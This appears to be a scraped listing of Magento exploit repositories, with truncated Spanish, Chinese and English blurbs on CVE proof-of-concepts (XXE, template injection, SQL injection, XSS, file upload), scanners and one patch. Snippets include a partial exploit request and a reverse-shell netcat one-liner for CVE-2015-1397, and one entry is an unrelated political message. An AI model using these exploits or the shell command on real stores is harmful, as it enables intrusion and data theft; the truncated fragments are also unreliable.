CVE-2022-24086

CVE-2022-24086 Probado con: magento 2.4.3 y datos de ejemplo Imagen de Docker: docker.io/bitnami/magento:2.4.3-debian-10-r0 Nombre: root@kitploit: var this.getTemplateFilter.filter$order.shippingaddress.cityvar...

CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento

CosmicSting: vulnerabilidad crítica de XXE sin autenticación en Adobe Commerce y Magento CVE-2024-34102 CVE-2024-34102 es una grave falla de seguridad que surge del manejo inadecuado de la deserialización anidada en Adobe Commerce y Magento. Esta vulnerabilidad permite a los atacantes explotar...

Magento-ver.-2.4.6

Título del exploit: FireBear Studio Improved Import & Export ver. 3.8.6 para Magento 2.4.6 - Inyección XSLT del lado del servidor Fecha: 2023-11-17 Autor del exploit: tmrswrr Página web del proveedor: FireBear Studio Enlace del software: FireBear Studio Improved Import & Export Versión: FireBear...

CVE-2024-34102

CVE-2024-34102 CVE-2024-34102 的 PoC：未身份验证的 Magento XXE 及绕过 WAF，你将在你的 webhook 上收到 HTTP 连接 root@kitploit: POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2 Host: example.com Accept: application/json, text/javascript, /; q=0.01 Content-Length: 310 Content-Type: application/json User-Agent...

magento2-cosmic-sting-patch

Magento 2 CVE-2024-34102（又名Cosmic Sting）补丁 一个替代解决方案（作为Magento 2扩展），用于修复XXE漏洞CVE-2024-34102（又名Cosmic Sting）。如果您无法升级Magento或无法应用官方补丁，请尝试这个。 如果您不修复此漏洞，攻击者可能实现远程代码执行（RCE）。我们已观察到真实世界的攻击。 CVE-2024-34102 受影响Magento版本（从2.3开始） 2.3.0 2.4.4-p8 2.4.5 2.4.5-p7 2.4.6 2.4.6-p5 2.4.7 背景 CVE-2024-34102（又名Cosmic...

CVE-2021-21014

PoC Limitada CVE-2021-21014 Las versiones de Magento 2.4.1 y anteriores, 2.4.0-p1 y anteriores y 2.3.6 y anteriores son vulnerables a un bypass de la restricción de carga de archivos. La explotación exitosa podría permitir a un atacante autenticado ejecutar código arbitrario. Versión afectada: =...

CVE-2022-35501

CVE-2022-35501 Amasty Blog Pro for Magento 2 中博客文章创建功能存在存储型跨站脚本（XSS）漏洞 描述 Amasty Blog Pro 2.10.3 和 2.10.4 插件（适用于 Magento 2）的文章创建功能允许在 title 字段中注入 JavaScript 代码，通过复制文章功能导致针对管理面板用户的 XSS 攻击，该功能使用了 data.title 字段并执行了 JavaScript 代码。 受影响端点（上述参数的注入点）： POST /admin/amastyblog/posts/save/key/somekey/ 受影响版本...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOUR...

CVE-2022-36433

CVE-2022-36433 Cross-site Scripting XSS en la funcionalidad de creación de publicaciones de blog en Amasty Blog Pro para Magento 2 Descripción La funcionalidad de creación de publicaciones de blog en el plugin Amasty Blog Pro 2.10.3 para Magento 2 permite la inyección de código JavaScript en los...

CVE-2024-34102

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos el regreso seguro de todos los ciudadanos que han sido tomados como rehenes por el grupo terrorista Hamás. No descansaremos hasta que cada rehén sea liberado y regrese a casa sano y salvo. Puedes ayudar a traerlos de vuelta a...

amasty-chekout-POC-rce

CVE-2026-53787 - Amasty Order Attributes Carga de archivos no autenticada Descripción CVE-2026-53787 es una vulnerabilidad crítica de carga de archivos arbitrarios no autenticada en la extensión Amasty Order Attributes para Magento 2 en versiones anteriores a la 4.0.0. La vulnerabilidad permite a...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

magescan

Mage 扫描 这个工具的目的是评估你无法直接访问的 Magento 网站的质量和安全性。 适用于你在面试潜在开发者或评估新客户时，想提前了解你将面临什么情况。 安装 .phar 从发布页面下载 magescan.phar 文件 使用 php 命令在命令行中运行 root@kitploit: php magescan.phar scan:all www.example.com 源码 克隆此仓库 使用 composer 安装 root@kitploit: git clone https://github.com/steverobbins/magescan magescan cd...

CVE-2022-35500

CVE-2022-35500 Amasty Blog Pro for Magento 2 的留言功能中存在存储型跨站脚本（XSS）漏洞 描述 Amasty Blog Pro 2.10.3 及 2.10.4 插件中，针对 Magento 2 的留言功能允许通过 GraphQL 端点在 AmBlogLeaveComment 变更的 name 参数中注入 JavaScript 代码。当受害者（管理员）尝试从管理面板删除该评论时，JavaScript 代码会被执行。 受影响版本 2.10.5 安全建议 将 Amasty Blog Pro for Magento 2 更新至 2.10.5 或更新版...

CVE-2022-36432

CVE-2022-36432 在 Amasty Blog Pro for Magento 2 的 Preview（预览）功能中存在跨站脚本（XSS）漏洞 描述 Amasty Blog Pro 2.10.3 插件（适用于 Magento 2）中的 Preview（预览）功能不安全地使用了 eval。攻击者可以通过操纵生成的预览应用程序响应，对管理面板用户执行跨站脚本攻击。 该漏洞存在于 blog/view/base/web/js/adminhtml/preview.js 文件中。 在参考资料中，你可以找到 Magento 2 中类似的已修复问题。 受影响版本 2.10.5 建议 将...

Magento-CVE-2019-7139-SQLi-PoC

CVE-2019-7139 PoC：Magento SQL注入 本仓库包含针对 CVE-2019-7139 （PRODSECBUG-2198）的概念验证（PoC）漏洞利用代码，该漏洞是 Ambionics Security 的 Charles Fol 发现的 Magento 未授权 SQL 注入漏洞。 漏洞详情 CVE ID ：CVE-2019-7139 受影响版本 ： Magento Open Source 2. 脚本将尝试枚举数据库、表、列和样本数据。 参考链接 CVE-2019-7139 Magento 安全公告 Ambionics Security Pentest-Tools：利...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC Acerca de CVE-2022-24086, que Adobe vio siendo "explotado en la naturaleza en ataques muy limitados", recibió una puntuación de gravedad de 9.8 sobre 10, y los adversarios que lo explotan pueden lograr la ejecución remota de código en los sistemas afectados sin necesidad de...

CVE-2015-1397

POC for CVE-2015-1397 Magento SQL注入。 了解更多：https://blog.checkpoint.com/security/analyzing-magento-vulnerability/...

Magento-CVE-2016-4010

Magento未授权远程代码执行漏洞CVE-2016-4010的分析与利用 0x00 前言 5月17日，国外的安全研究人员Netanel Rubin公开了Magento的一个未授权远程代码执行漏洞（CVE-2016-4010）。该漏洞实际上包含了多个小的漏洞并且允许攻击者在有漏洞的Magento服务器上未授权执行PHP代码。Magento是一个非常流行的电商平台，它在2011年时被eBay收购。一些知名企业，如：三星，尼康，联想，以及众多的小型电商都在使用它。据悉，Magento被250,000个在线商城使用，每年将涉及金额达600亿美金。 0x01 分析 该漏洞的利用条件：...

LetMeFuckIt-Scanner

LetMeFuckIt Scanner AutoPWNED Magento 扫描与利用工具 该扫描器用于探测 Magento 的 SQLi 漏洞（1.9.1.0 CE） 。 该漏洞已在 补丁 SUPEE-5344 中修复，但扫描器可用于定位和测试未应用该安全补丁的系统。 LetMeFuckIt 使用 Python 编写，依赖以下库： pygoogle, argparse, urllib2, requests, base64 用法： root@kitploit: letmefuckit.py --dork --pages --user --pwd 示例： root@kitploit:...